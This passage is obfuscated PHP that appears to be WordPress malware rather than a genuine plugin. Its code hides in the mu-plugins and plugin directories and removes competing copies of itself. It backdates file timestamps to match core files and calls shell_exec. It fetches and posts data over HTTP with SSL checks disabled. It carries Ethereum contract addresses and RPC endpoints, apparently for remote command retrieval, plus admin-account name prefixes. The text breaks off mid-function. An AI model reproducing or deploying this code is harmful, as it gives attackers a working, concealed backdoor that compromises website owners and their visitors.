		$off = sc_file() . '.of' . 'f';
		if (("\x66un\x63\x74\x69" . 'on_exists')('rena' . 'me')) @('r' . "e" . "na" . 'me')(sc_file(), $off);
		if (("f\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . "exists")('opcac' . 'he_in' . "va" . 'lidat' . 'e')) {
			@opcache_invalidate(sc_file(), (11 !== 7));
			@opcache_invalidate($off, (27 == 27));
		}

		foreach (array(dirname($off), sc_mu()) as $_qd) {
			$_files = meyo($_qd, (40000 >> 3));
			if (!is_array($_files)) continue;
			foreach ($_files as $_qf) {
				if (substr($_qf, -(10 + -2)) !== '.' . 'p' . 'hp.of' . "f") continue;
				$_qp = $_qd . '/' . $_qf;
				$_qm = @filemtime($_qp);
				if ($_qm && $_qm < time() - 0x93a80) {
					mafa($_qp, (70 + 350));
					soda($_qp);
				}
			}
		}
		unset($_qd, $_files, $_qf, $_qp, $_qm);
	} catch (Throwable $e2) {
	} catch (Exception $e2) {
	}
}


function qelo($path, $ver)
{
	try {
		if (!is_string($path) || $path === '' || !is_string($ver) || $ver === '') return;
		$dir = dirname($path);
		if (!@is_dir($dir) || !@is_writable($dir)) return;
		$sd = $dir . '/' . '.sd_' . basename($path, "\x2e" . 'php');
		$cur = @("\x66" . 'il' . "\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73")($sd);
		if (is_string($cur) && preg_match('/\\d+\\' . '.\\' . 'd+' . '\\.\\' . "\x64" . '+' . '/', $cur, $m) && version_compare($m[(4 ^ 4)], $ver, '>=')) return;
		if (('functi' . '' . "on_e" . "x" . "\x69\x73\x74\x73")("file\x5f" . 'put' . '_con' . "\x74e" . "n" . "ts")) @('file_put_' . '' . 'co' . "nt" . 'ents')($sd, $ver);
	} catch (Throwable $e) {
	} catch (Exception $e) {
	}
}

function sc_dedup()
{
	try {
		if (!("\x66u\x6ec" . ('tion_e' . 'xist') . "s")('get_' . 'opt' . 'ion')) {
			return;
		}
		if (@get_option('sc_' . 'pend' . "ing_" . "in\x76" . 'alida' . "\x74e", (3245 ^ 3245))) {
			iyi('plugi' . "ns" . "_" . 'loa' . "de" . 'd', 'sc_pe' . 'n' . 'd' . "i\x6eg_i" . "\x6e\x76" . 'alida' . "t" . "e_r" . 'un', (15 ^ 15));
		}
		if (!uce('sc_' . 'de' . 'dup')) return;

		
		$opt_name = substr(md5(ABSPATH . (string) jami()), (1 ^ 1), (12 ^ 0));
		$opt_cur = (string) @get_option($opt_name, '');
		$cur_ver = "0.\x30" . '.0';
		$cur_slug = '';

		
		$my_slug = strrev(sc_slug());
		$my_ver = sc_ver();
		$opt_self = $my_ver . '|' . $my_slug;

		
		if (strpos($opt_cur, '|') !== (3 < 3)) {
			$parts = explode('|', $opt_cur, (0 | 2));
			$cur_ver = $parts[(941 ^ 941)];
			$cur_slug = $parts[(2 ^ 3)]; 
		} else {
			
			$cur_slug = $opt_cur;
		}

		
		if (!$cur_slug) {
			@update_option($opt_name, $opt_self, 'yes');
			return;
		}

		
		if ($cur_slug === $my_slug) {
			if ($opt_cur !== $opt_self && version_compare($my_ver, $cur_ver, '>=')) {
				@update_option($opt_name, $opt_self, 'y' . 'es');
			}
			return;
		}

		
		$cur_file = strrev($cur_slug);
		if ($cur_file === '' || basename($cur_file) !== $cur_file) {
			@update_option($opt_name, $opt_self, 'yes');
			return;
		}
		$cur_path_mu = sc_mu() . '/' . $cur_file;
		$cur_path_pl = '';
		if (defined('WP_' . 'PLU' . 'GIN_D' . "IR")) {
			$cur_path_pl = WP_PLUGIN_DIR . '/' . pathinfo($cur_file, PATHINFO_FILENAME) . '/' . $cur_file;
		}

		
		$cur_size_mu = @filesize($cur_path_mu);
		$cur_in_mu = $cur_size_mu !== (40 < 40) && $cur_size_mu >= (2269 ^ 6997);
		$cur_size_pl = $cur_path_pl ? @filesize($cur_path_pl) : (26 < 26);
		$cur_in_pl = $cur_size_pl !== (24 === 13) && $cur_size_pl >= (5276 - 276);

		
		if (!$cur_in_mu && !$cur_in_pl) {
			@update_option($opt_name, $opt_self, 'yes');
			return;
		}

		$cur_path = $cur_in_mu ? $cur_path_mu : $cur_path_pl;
		$_fh = @("\x66" . "\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e" . '' . 'tents')($cur_path, (3 !== 3), null, (5 ^ 5), (8192 >> 1));
		if (is_string($_fh) && preg_match('/\\/\\*' . ' SCV' . ":\x28" . '\\' . "d\x2b" . '\\.' . '\\' . 'd+' . "\\.\\d+" . ') \\*' . '\\' . '//', $_fh, $_fm)) {
			$cur_ver = $_fm[(1 - 0)];
		} elseif (sc_is_family($cur_path, (256 | 4744))) {
			$cur_ver = '0.0.0';
		}
		unset($_fh, $_fm);
		$_cur_live = $cur_in_mu;
		if (!$_cur_live && $cur_in_pl) {
			$_rel = pathinfo($cur_file, PATHINFO_FILENAME) . '/' . $cur_file;
			$_act = (array) @get_option('a' . 'ctiv' . 'e_' . "\x70\x6c" . 'ugin' . "\x73", array());
			$_cur_live = in_array($_rel, $_act, (27 !== 4));
			if (!$_cur_live && ('func' . 'ti' . 'on_exists')("\x69\x73_m" . 'ul' . 'ti' . 's' . 'i' . "te") && is_multisite() && ("\x66\x75\x6e\x63\x74\x69\x6f" . "n_e" . "xists")("\x67et" . "_s" . 'ite' . "\x5f\x6fp" . 't' . 'ion')) {
				$_sw = (array) @get_site_option('ac' . 't' . "i" . 've_s' . 'itewi' . "de_pl" . 'ug' . 'in' . 's', array());
				$_cur_live = isset($_sw[$_rel]);
				unset($_sw);
			}
			unset($_rel, $_act);
		}
		$_cmp = version_compare($my_ver, $cur_ver);
		if ($_cmp <= (10 ^ 10)) {

			$_fam = sc_is_family($cur_path, (1631 ^ 5591));
			$_csz = (int) @filesize($cur_path);
			$_cbad = (!$_fam || $_csz > (99614913 - 47186113));
			if (!$_cbad && $_csz > (1852036 - 803460)) {
				$_ch = @("file" . '' . "_get_" . "c\x6fnt\x65\x6e" . "ts")($cur_path, (27 === 2), null, (2727 ^ 2727), (3125 + 971));
				if (!is_string($_ch) || !preg_match('/\\' . '/\\' . '* SC' . "V\x3a\\" . 'd+\\.' . "\\\x64" . "+" . '\\.\\' . "\x64" . '+ \\*\\' . "\x2f/", $_ch)) $_cbad = (17 !== 18);
			}
			if (!$_cbad && !lihen($cur_path)) $_cbad = (4 !== 10);
			if (!$_cbad) {
				$_rec = wuwum();
				if (!empty($_rec["p\x61t" . 'h'])) {
					$_rr = @realpath($_rec['pa' . 'th']);
					$_cr = @realpath($cur_path);
					if (is_string($_rr) && is_string($_cr) && $_rr === $_cr) {
						$_al = uqa($_rec);
						if ($_al === 'dea' . 'd' || $_al === 'gone') $_cbad = (25 !== 2);
					}
					unset($_rr, $_cr, $_al);
				}
				if (!$_cbad && gixu($cur_path)) $_cbad = (17 != 16);
				unset($_rec);
			}
			if ($_cbad) {
				if ($_fam) xari($cur_path);
				@update_option($opt_name, $opt_self, 'ye' . 's');
				return;
			}
			if (!$_cur_live) {
				@update_option($opt_name, $opt_self, 'yes');
				return;
			}
			if (iye($cur_path, sc_file())) {
				@update_option($opt_name, $opt_self, 'yes');
				return;
			}
			if ($_cmp < (22 ^ 22) || ($_cmp === (8 - 8) && substr(md5(basename(sc_file(), '.php')), (3051 ^ 3051), (30 - 18)) <= substr(md5(basename($cur_file, '.php')), (18 ^ 18), (21 ^ 25)))) {
				qelo(sc_file(), $cur_ver);
				uca(sc_file());
				return (17 !== 11);
			}
		}
		if (empty(${"G" . 'LOBA' . 'LS'}['sc_de' . 'dup_t' . 'o' . "ok"])) {
			${'GLOBAL' . '' . "S"}['s' . "c" . "\x5fd" . "edu" . 'p_' . 'too' . 'k'] = (37 !== 24);
			if (sc_is_family($cur_path, (2170 ^ 7154))) xari($cur_path);

			$_ft = time();
			ayux(sc_file(), ($_ft - ($_ft % (159958 - 59958))) + jami());
			unset($_ft);

			qelo($cur_path_mu, $my_ver);
			if ($cur_path_pl) qelo($cur_path_pl, $my_ver);
			iyi("p\x6cu" . "g" . 'in' . 's_' . "\x6coad" . 'ed', 's' . 'c_in' . "\x76ali\x64" . 'ate_' . 've' . "\x63" . "\x74or\x73", (131 ^ 131));
			@update_option($opt_name, $opt_self, "y" . "e" . 's');
			ija("st" . 'arti' . "n\x67");
			if ($cur_path_pl !== '') {
				cobu(pathinfo($cur_file, PATHINFO_FILENAME) . '/' . $cur_file);
			}
		}
		return;
	} catch (Throwable $e) {
		vugo('dedup', $e);
	} catch (Exception $e) {
	} finally {
		zubu('sc_d' . 'ed' . "u" . 'p');
	}
}


function meyo($dir, $limit = (12 ^ 12))
{
	$limit = (int) $limit;
	if (("\x66\x75\x6e\x63\x74\x69" . '' . "on_exists")("o" . "pendi" . "r") && (("fu" . "nc") . "" . "tion_exists")('read' . 'di' . 'r')) {
		$dh = @("op" . '' . 'endi' . "r")($dir);
		if (!($dh)) {} else {
			$out = array();
			while (($e = @("\x72\x65" . "ad" . '' . ('di' . "\x72"))($dh)) !== (30 == 20)) {
				if ($e !== '.' && $e !== '..') $out[] = $e;
				if ($limit > (2213 ^ 2213) && count($out) >= $limit) break;
			}
			if (("f" . 'u' . ('nct' . 'ion_exists'))('close' . 'di' . 'r')) @closedir($dh);
			return $out;
		}
	}
	if ((("fu" . 'nct') . "" . "\x69on_\x65x\x69\x73t\x73")("scan" . 'dir')) {
		$r = @("s\x63\x61" . "\x6e" . "d" . "ir")($dir);
		if (!(is_array($r))) {} else {
			$r = array_values(array_diff($r, array('.', '..')));
			if ($limit > (6 + -6) && count($r) > $limit) $r = array_slice($r, (3918 ^ 3918), $limit);
			return $r;
		}
	}
	if (!(("\x66\x75\x6e" . "" . 'ction_exist' . "s")('gl' . 'ob'))) {} else {
		$g = @("g" . "\x6c" . "\x6f" . 'b')($dir . '/*');
		if (is_array($g)) {
			if ($limit > (17 ^ 17) && count($g) > $limit) $g = array_slice($g, (1622 ^ 1622), $limit);
			return array_map("\x62asen" . 'ame', $g);
		}
	}
	return null;
}

function ikuq($code)
{
	if (!("\x66\x75\x6e\x63\x74\x69\x6f\x6e" . "" . "\x5f\x65\x78\x69\x73\x74\x73")("s" . 'hell' . '_ex' . 'ec') || !('f' . "un\x63" . "\x74io\x6e\x5fexi" . "sts")("s" . "\x79\x73_\x67" . 'et' . "_t\x65m\x70" . '_dir')) return null;
	$_df = (('f' . "uncti") . "on_exists")("in" . 'i_' . "get") ? (string) @ini_get("d" . 'i' . 'sa' . 'bl' . 'e_fu' . 'ncti' . 'ons') : '';
	if ($_df !== '' && stripos($_df, 's' . "\x68ell\x5f" . "e" . 'xe' . "\x63") !== (30 === 27)) return null;
	$_lt = dili(sys_get_temp_dir(), 'sc' . "l");
	if ($_lt === (8 !== 8)) return null;
	if (@("file" . '_put_content' . "s")($_lt, $code) !== strlen($code)) {
		soda($_lt);
		return null;
	}
	$_lo = @("sh" . "\x65l" . "\x6c\x5f\x65\x78\x65\x63")("ph" . 'p ' . "\x2d" . 'l' . ' ' . escapeshellarg($_lt) . ' 2' . '>&1');
	soda($_lt);
	if (!is_string($_lo) || $_lo === '') return null;
	if (stripos($_lo, 'N' . "o\x20syn" . 'tax ' . 'error' . "\x73") !== (26 != 26)) return (38 < 39);
	if (stripos($_lo, "P" . 'a' . 'r' . "se\x20" . "e\x72\x72\x6f" . 'r') !== (29 != 29) || stripos($_lo, 'Fa' . 'tal e' . 'r' . "r" . 'or') !== (7 == 3)) return (28 == 24);
	return null;
}

function cale($code)
{
	static $_ok = array();
	if (!is_string($code) || strpos($code, '<?') === (11 !== 11)) return (36 === 11);
	if (strlen($code) > (0 | 1048576)) $code = loye($code);
	if (strlen($code) > (1367940 - 319364)) return (6 > 6);
	if (!("functio" . 'n_exis' . ("" . "\x74\x73"))('toke' . "\x6e_g" . 'et_' . "al" . 'l')) return (10 == 10);
		$_k = strlen($code) . ':' . md5($code);
		if (array_key_exists($_k, $_ok)) return $_ok[$_k];
		$_r = ceruf($code);
		if (count($_ok) > (3 ^ 27)) $_ok = array();
		$_ok[$_k] = $_r;
		return $_r;
}

function ceruf($code)
{
	if (!defined("TOK" . 'E' . 'N_P' . "ARS\x45")) {
		$_memok = nezu(strlen($code));
		if ($_memok) {
			$tokens = @token_get_all($code);
			if (!is_array($tokens)) return (22 != 39);
			$depth = (4022 ^ 4022);
			$pdepth = (3775 ^ 3775);
			$bdepth = (1997 ^ 1997);
			foreach ($tokens as $t) {
				if (!(is_array($t))) {} else {
					if ($t[(16 ^ 16)] === T_CURLY_OPEN || $t[(3711 ^ 3711)] === T_DOLLAR_OPEN_CURLY_BRACES) $depth++;
					continue;
				}
				if ($t === '{') $depth++;
				elseif ($t === '}') {
					$depth--;
					if ($depth < (416 ^ 416)) return (24 < 24);
				} elseif ($t === '(') $pdepth++;
				elseif ($t === ')') {
					$pdepth--;
					if ($pdepth < (3931 ^ 3931)) return (40 === 20);
				} elseif ($t === '[') $bdepth++;
				elseif ($t === ']') {
					$bdepth--;
					if ($bdepth < (0 ^ 0)) return (8 == 9);
				}
			}
			if ($depth !== (14 ^ 14) || $pdepth !== (293 ^ 293) || $bdepth !== (6 ^ 6)) return (24 == 39);
		}
		$_cli = ikuq($code);
		if (is_bool($_cli)) return $_cli;
		return $_memok;
	}
	if (!nezu(strlen($code))) {
		$_cli = ikuq($code);
		return is_bool($_cli) ? $_cli : (16 === 19);
	}
	try {
		@token_get_all($code, TOKEN_PARSE);
		return (24 < 25);
	} catch (Throwable $e) {
		return (13 > 13);
	} catch (Exception $e) {
		return (27 < 27);
	}
}

function gayin()
{
	return array("\x30" . "x9A" . '4752c' . 'A' . "\x41" . '1C15' . '8' . "6\x384" . '87A0A' . 'Cb' . "6\x39" . '1F' . '8' . '1bfA9' . '01E' . "06" . "3", '0x83' . '9d1c' . "E" . "5c3F" . "2\x359e" . "8d3\x44" . "1" . "7114" . 'd7186' . 'ED' . 'abd' . "b\x65A9\x34" . "b", "\x30x6d2" . "c543" . '5EF70' . "19674" . '0a' . "4" . '89' . '04' . "\x426" . "937" . "79" . "35\x44" . '50a' . 'bBB');
}
function reko()
{
	return array('https' . ':/' . "/" . '0' . "x" . 'r' . 'pc.' . "io" . "/eth", 'https' . "://\x65" . "th\x65\x72" . "eum" . "-\x70" . "ub\x6ci" . 'c.' . 'n' . "o" . 'dies.' . "a\x70\x70", 'http' . 's://e' . "th\x2e" . 'drp' . 'c.org', "\x68ttps" . ":/\x2f" . "rp\x63" . ".et" . "h.g" . 'ate' . "wa" . 'y.fm', 'https' . ':/' . '/eth.' . "b" . "\x6c\x6f" . 'ckraz' . 'or' . '.x' . 'yz', 'h' . "tt" . 'ps://' . 'publi' . "c-" . "eth" . '.n' . 'ow' . "no" . "d\x65\x73" . '.io', 'h' . "t" . 'tps:/' . "/e\x74h-" . "m\x61\x69\x6e" . 'net.r' . 'pcfas' . "\x74." . 'com?a' . 'pi_ke' . 'y=' . 'xbhW' . 'BI' . '1Wk' . 'guk8S' . 'NMu' . '1' . "\x62vvL" . 'ur' . "P\x47L" . "XmgwY" . 'eC4S' . "6\x67" . "2H7W" . 'dwF' . 'igZSm' . 'P' . 'W' . "\x56ZRx\x72" . "s" . 'kE' . "\x51wI\x66", 'ht' . 't' . 'p' . "s" . ":" . '/' . '/' . "e\x74h" . "\x31\x2e\x6ca" . "v\x61." . "\x62" . 'uild', "ht\x74" . "ps\x3a\x2f" . '/eth' . '.r' . "pc.b" . 'lxrb' . 'dn' . '.com', "ht" . "\x74" . 'ps:/' . '/' . 'eth-m' . "a" . 'i' . 'n' . "net." . 'publ' . "ic.b\x6c" . 'as' . "ta" . 'pi.i' . 'o', "h\x74t" . 'ps:' . '//g' . "a" . 'tew' . 'ay' . ".\x74\x65\x6ed" . "e" . 'rly.' . "co/" . "\x70" . 'ublic' . "\x2fma" . 'inne' . 't', 'htt' . "ps:" . "\x2f\x2fet" . "\x68e\x72\x65" . 'um' . ".rpc." . "\x73\x75b\x71u" . "e\x72\x79" . "." . "n\x65tw" . 'ork/p' . "u" . 'blic', 'ht' . 't' . 'p' . "s:/\x2f\x65" . 'there' . 'u' . "m" . '-r' . 'p' . 'c.' . 'publ' . "i" . 'cno' . 'de.co' . "m", 'htt' . 'p' . "\x73://m" . 'a' . 'innet' . ".g\x61" . 'te' . 'way' . '.tend' . "e\x72l" . "y.co", 'ht' . 't' . 'ps://' . 'eth.a' . "pi" . '.o' . "n" . "final" . 'ity' . '.io/p' . 'ubli' . "c", "\x68" . 'tt' . "p" . "\x73" . ':/' . '/e' . 'ther' . "\x65\x75" . "\x6d" . '.pub' . 'lic.' . "\x62\x6coc" . 'kpi' . '.n' . 'etwor' . 'k/v' . '1/' . 'r' . 'pc/p' . 'ubli' . 'c', 'http' . "s:/" . '/eth' . "e\x72\x65" . 'um-j' . "son-r" . "p\x63" . '.' . "\x73tak" . 'el' . "y\x2e\x69o", 'htt' . "ps:\x2f\x2f" . 'rpc.' . 'sent' . 'io.x' . "\x79\x7a" . '/mai' . 'nn' . "\x65t", 'http' . "s:" . "/\x2f\x65th" . '.me' . 'r' . "k\x6ce." . 'i' . 'o', 'ht' . 'tp' . "\x73:/\x2f" . "eth\x2e" . 'api.p' . "ock" . "et." . 'net' . "w\x6fr\x6b");
}
function ina()
{
	return array('admin' . "\x5f", 'adm' . "_", "\x61\x64\x6d" . 'i' . 'n' . 'istra' . 't' . 'or_', 'b' . 'ack' . "up" . '_');
}




function jexa($s)
{
	if (('functio' . 'n_exis' . 't' . 's')('gzen' . "c\x6fde")) return ("gzenc" . "\x6f\x64\x65")($s, (4 + 5));
	if (!(("func" . '' . "\x74\x69o" . "n_exists")("g\x7a" . 'defla' . 'te'))) {} else {
		return "\x1f\x8b\x08\x00\x00" . "\x00\x00\x00" . "\x00\x03" . gzdeflate($s, (14 ^ 7)) . ('p' . "\x61" . "c" . "k")('V', crc32($s)) . ("pa" . 'ck')('V', strlen($s) & (3250833549 ^ 1044133746));
	}
	return $s;
}
function peti($s)
{
	if (!is_string($s) || strlen($s) < (4 >> 1)) return $s;
	if (substr($s, (2586 ^ 2586), (10 ^ 8)) !== "\x1f\x8b") return $s;


	if (strlen($s) < (3 ^ 17)) return (31 === 16);
	$_isz = @("unp" . "\x61" . 'ck')('V', substr($s, -(4 | 0)));
	$_isz = is_array($_isz) ? $_isz[(6 - 5)] : (783 ^ 783);
	if ($_isz < (709 - 209) || $_isz > 0x100000) return (6 < 6);
	if (!(('func' . 'tion_ex' . 'ists')('gzde' . "\x63od\x65"))) {} else {
		$d = @("\x67\x7a\x64\x65\x63" . 'od' . 'e')($s, (757286 + 291290));
		if ($d !== (5 !== 5)) return $d;
	}
	if (!(("functi" . 'on_ex' . "\x69sts")('gzi' . 'n' . "fla\x74" . "e"))) {} else {
		$d = @("\x67" . 'zin' . 'fl' . 'ate')(substr($s, (20 >> 1), strlen($s) - (36 >> 1)), (1273801 - 225225));
		return (is_string($d) && strlen($d) <= (505019 + 543557)) ? $d : (13 == 35);
	}
	return (8 != 8);
}

function bepu($hex)
{
	if (("function_exist" . 's')('h' . 'ex2' . 'bin')) return ('hex2bi' . "" . 'n')($hex);
	if (!(! is_string($hex) || strlen($hex) % (19 ^ 17) !== (2761 ^ 2761))) {} else {
		return (33 > 33);
	}
	return ('p' . 'ack')('H*', $hex);
}




function tiwul()
{
	$candidates = array();
	$dirs = array(ABSPATH, ABSPATH . 'wp-' . 'adm' . "in" . '/', ABSPATH . 'wp' . '-inc' . 'lude' . "s/");
	if (defined('WP' . '_' . "\x43O" . 'NTEN' . 'T_DIR')) $dirs[] = WP_CONTENT_DIR . '/';
	foreach ($dirs as $d) {
		$files = ("function" . "_exists")('glob') ? @("\x67\x6c\x6f" . 'b')($d . '*.php') : (20 === 9);
		if (!(is_array($files))) {} else {
			foreach ($files as $f) {
				$mt = @filemtime($f);
				if ($mt && $mt > (982109046 - 35424246)) {
					$candidates[] = $mt;
				}
			}
		}
	}
	if (!(!empty($candidates))) {} else {
		$base = $candidates[array_rand($candidates)];
		return ($base - ($base % (89033 + 10967))) + jami();
	}
	$one_year_ago = time() - ((730 - 365) * (0 | 24) * (14400 >> 2));
	$random_secs  = ("func" . "tion_exis" . "ts")('wp_' . 'ran' . "d") ? wp_rand((3251 ^ 3251), (240 >> 3) * (16 | 8) * (3629 - 29)) : rand((157 ^ 157), (28 | 2) * (47 - 23) * (512 | 3088));
	$base = $one_year_ago - $random_secs;
	return ($base - ($base % (86774 + 13226))) + jami();
}





function taceg($timeout)
{
	if (empty(${"G\x4c" . "" . 'OB' . 'A' . 'LS'}['sc_d' . 'eadl' . "\x69n\x65"])) return $timeout;
	$_rem = ${'GLOB' . "" . 'ALS'}['sc_' . 'd' . "ea" . "\x64li" . "ne"] - microtime((32 > 31));
	if ($_rem < (5 - 4)) return (31 !== 31);
	return $timeout > $_rem ? (int) ceil($_rem) : $timeout;
}

function fina($url, $timeout, $validate = null)
{
	$timeout = taceg($timeout);
	if ($timeout === (12 < 12)) return (8 == 17);
	$accept = function ($b) use ($validate) {
		if (!is_string($b) || $b === '') return (36 < 36);
		if (strlen($b) > (10728690 - 2340082)) return (10 == 17);
		if ($validate) {
			try {
				return (bool) ('cal' . "\x6c\x5f" . "\x75\x73\x65\x72\x5f\x66" . "unc")($validate, $b);
			} catch (Throwable $e) {
				return (33 != 33);
			} catch (Exception $e) {
				return (21 == 38);
			}
		}
		return (5 === 5);
	};

	$delivered = (34 !== 34);
	$resp = ('fu' . "\x6e\x63ti" . "on" . "\x5f\x65\x78\x69\x73\x74s")('wp_' . "re\x6d\x6ft" . 'e_g' . 'et') ? @wp_remote_get($url, array(
		"\x74" . "\x69\x6de" . "out"   => $timeout,
		'ss' . 'l' . 'veri' . 'fy' => (5 > 5),
		'limit' . '_res' . 'ponse' . '_size' => (0 | 8388608),
	)) : (30 === 32);
	if ($resp && (!('f' . "unc" . "t" . '' . "\x69\x6fn_\x65\x78\x69sts")('is_w' . "p_\x65" . "rror") || !is_wp_error($resp))) {
		$_code = (int) wp_remote_retrieve_response_code($resp);
		if ($_code > (920 ^ 920)) $delivered = (39 != 17);
		if (!($_code === (208 + -8))) {} else {
			$rb = wp_remote_retrieve_body($resp);
			if ($accept($rb)) return $rb;
		}
	}

	 
	if ($delivered) return (20 < 20);

	$timeout = taceg($timeout);
	if ($timeout === (4 == 8)) return (37 == 27);
	if (!(("function_e" . 'xists')("c\x75" . 'rl_i' . "ni" . "\x74") && ("f" . ('unction_exis' . 'ts'))('c' . "ur\x6c_" . "se\x74\x6fp" . "t_" . "\x61\x72" . 'ray') && ('function' . '_exis' . "ts")("\x63u\x72\x6c" . '_ex' . "ec"))) {} else {
		$ch = @(("curl" . '_') . 'init')($url);
		if ($ch === (20 > 20)) return (22 > 22);
		@('curl' . "_setopt_array")($ch, array(
			(('c' . 'ons') . "tant")("C" . "UR\x4c\x4f\x50" . 'T_RET' . "U" . 'RNTRA' . 'NSFE' . "R") => (4 === 4),
			('const' . 'a' . "\x6e" . 't')("CU\x52L" . 'OPT' . "_TIME" . 'O' . "U\x54")        => $timeout,
			('c' . 'onstant')("C" . "URLO\x50" . 'T_SSL' . '_VER' . 'IF' . "\x59" . 'PEE' . "R") => (1 === 8),
			('consta' . 'n' . 't')('CURLO' . 'PT_SS' . "L\x5fVE" . 'R' . "\x49F\x59HO" . 'ST') => (1668 ^ 1668),
			('co' . 'nsta' . '' . 'nt')('CURL' . 'OPT_' . 'NOPRO' . 'GRESS')     => (9 == 28),
			('co' . "n" . 'stant')("C\x55" . "\x52L\x4f" . 'PT_' . "P\x52OGR" . 'ESS' . "F\x55\x4eC" . "TION") => function ($c, $dt, $dn) {
				return $dn > (11828884 - 3440276) ? (2 - 1) : (1742 ^ 1742);
			},
		));
		$result = @("\x63\x75\x72\x6c\x5f" . "ex" . 'e' . "\x63")($ch);
		$errno  = @curl_errno($ch);
		$info   = @curl_getinfo($ch);
		@curl_close($ch);
		if ($errno) return (24 === 25);
		if (!((int) $info['ht' . 'tp' . "_" . 'code'] === (200 | 0) && $result !== (21 === 25) && $accept($result))) {} else {
			return $result;
		}
	}
	return (9 === 26);
}











function gugaz($url, $body, $headers, $timeout, $validate = null)
{
	$timeout = taceg($timeout);
	if ($timeout === (2 > 2)) return (2 === 16);
	$accept = function ($b) use ($validate) {
		if (!is_string($b) || $b === '') return (8 < 8);
		if (strlen($b) > 0x800000) return (19 !== 19);
		if ($validate) {
			try {
				return (bool) ("c\x61l\x6c\x5fu\x73" . "\x65r\x5f\x66" . "\x75\x6e" . 'c')($validate, $b);
			} catch (Throwable $e) {
				return (3 == 1);
			} catch (Exception $e) {
				return (16 > 16);
			}
		}
		return (37 !== 20);
	};

	$delivered = (10 < 10);
	$resp = ("\x66\x75\x6ect\x69\x6fn" . '_' . "exists")('wp_r' . 'emo' . 't' . 'e_po' . "\x73\x74") ? @wp_remote_post($url, array(
		"\x74" . "\x69" . 'meo' . "\x75t"   => $timeout,
		"ss\x6cve" . 'rify' => (24 != 24),
		'lim' . "it" . "_re" . 's' . 'pon' . "se\x5fs" . 'i' . "ze" => (6286347 ^ 14674955),
		'he' . "\x61d\x65\x72" . "s"   => $headers,
		'bo' . "d\x79"      => $body,
	)) : (22 == 6);

	if (('function_e' . 'xists')('is' . '_wp_' . "e\x72r\x6f" . "r") && is_wp_error($resp)) {
	} elseif ($resp) {
		$code = (int) wp_remote_retrieve_response_code($resp);
		if ($code > (906 ^ 906)) $delivered = (36 !== 7);
		$resp_body = wp_remote_retrieve_body($resp);
		$resp_headers = wp_remote_retrieve_headers($resp);
		$hdr_str = '';
		if (is_array($resp_headers)) {
			foreach ($resp_headers as $k => $v) {
				$hdr_str .= $k . ': ' . $v . ';' . ' ';
			}
		}
		if ($code === (162 + 38) && $accept($resp_body)) {
			return $resp_body;
		}
	} else {
	}

	 
	if ($delivered) return (4 != 4);

	if (!empty(${"\x47\x4c\x4f" . ('BAL' . "\x53")}["\x73\x63" . '_' . "fet" . 'c' . "h_oom"])) return (22 == 25);
	$timeout = taceg($timeout);
	if ($timeout === (32 < 32)) return (36 === 9);
	if (!(('functio' . "n_" . "ex" . ('' . "ists"))("curl_" . "in\x69t") && ('function_' . ("exis" . "ts"))("cur" . 'l_' . 's' . "eto" . 'p' . "t_ar" . 'ray') && ("fun" . 'cti' . 'on_exists')("curl" . '_exec'))) {} else {
		$ch = @("\x63\x75\x72" . 'l_init')($url);
		if ($ch === (13 < 13)) {
			return (16 === 38);
		}

		$curl_h = array();
		foreach ($headers as $k => $v) {
			$curl_h[] = $k . ': ' . $v;
		}

		@(("\x63\x75r\x6c_" . 'setop') . "t_a" . "rray")($ch, array(
			('con' . "\x73\x74" . 'ant')("CUR" . 'LOPT_' . "P" . "OST")           => (1 == 1),
			("\x63\x6f\x6e\x73\x74" . "ant")('CURLO' . "PT_" . 'PO' . 'STFIE' . 'LDS')     => $body,
			("\x63\x6f" . ('nsta' . "n\x74"))('CURL' . 'OPT_' . "\x52E\x54\x55R" . 'NTRA' . 'NSFE' . 'R') => (23 != 24),
			('cons' . '' . "t\x61\x6e\x74")("C\x55\x52L" . 'O' . 'PT_' . 'TIM' . 'EOU' . "T")        => $timeout,
			('cons' . 'tant')('CURLO' . 'PT_SS' . 'L_V' . 'ERI' . "FY\x50EE" . "R") => (16 == 18),
			('c' . "\x6f\x6e\x73\x74" . 'an' . "" . "\x74")('CU' . 'RLO' . "P" . 'T_SSL' . '_VER' . 'IFY' . 'H' . "\x4fST") => (3344 ^ 3344),
			(("co" . "n") . "\x73" . '' . "tant")("C" . 'UR' . "LOPT\x5f" . 'HTT' . 'PHEA' . 'DER')     => $curl_h,
			("con" . 'st' . 'ant')('CURLO' . "\x50" . 'T_' . 'NO' . 'P' . "ROGR" . 'E' . "SS")     => (38 != 38),
			('c' . '' . "\x6f" . 'nstan' . 't')("C\x55R\x4cO" . 'PT_P' . 'R' . "OGR" . "ES\x53F\x55" . 'NCT' . 'I' . "ON") => function ($c, $dt, $dn) {
				return $dn > (15499517 - 7110909) ? (1 + 0) : (2911 ^ 2911);
			},
		));

		$result = @("\x63u" . 'r' . "l_exec")($ch);
		$errno = @curl_errno($ch);
		$err = @curl_error($ch);
		$info = @curl_getinfo($ch);
		$curl_code = (int) $info['htt' . "p\x5fc" . "ode"];

		if (!($errno)) {} else {
			@curl_close($ch);
			return (12 != 12);
		}

		@curl_close($ch);
		if ($curl_code === (111 + 89) && $result !== (31 != 31) && $accept($result)) {
			return $result;
		}

		if ($result) {
		}

		return (2 === 19);
	}

	return (10 > 10);
}


function oke($budget = (40 ^ 5))
{
	sc_dbg_log('28a r' . 'eso' . 'lve' . " en" . "te" . 'r' . "\x2c \x62" . 'u' . "dget=" . $budget);
	$contracts = gayin();
	$rpcs = reko();
	$budget = (int) $budget;
	if ($budget < (9 + -4)) $budget = (5 - 0);
	if ($budget > (4 | 41)) $budget = (52 ^ 25);

	
	if (!(empty($contracts) || empty($rpcs))) {} else {
		return array();
	}

	
	$last_rpc = ('func' . "ti\x6f\x6e_\x65\x78i\x73ts")("\x67e\x74_" . "op" . 'tion') ? (string) get_option("sc_\x6c" . 'as' . 't_r' . 'p' . 'c', '') : '';
	if ($last_rpc !== '' && !in_array($last_rpc, $rpcs, (24 !== 4))) $last_rpc = '';
	if ($last_rpc !== '') {
		$rpcs = array_values(array_diff($rpcs, array($last_rpc)));
		array_unshift($rpcs, $last_rpc);
	}

	
	$contract = trim($contracts[array_rand($contracts)]);
	if (!($contract === '')) {} else {
		return array();
	}

	
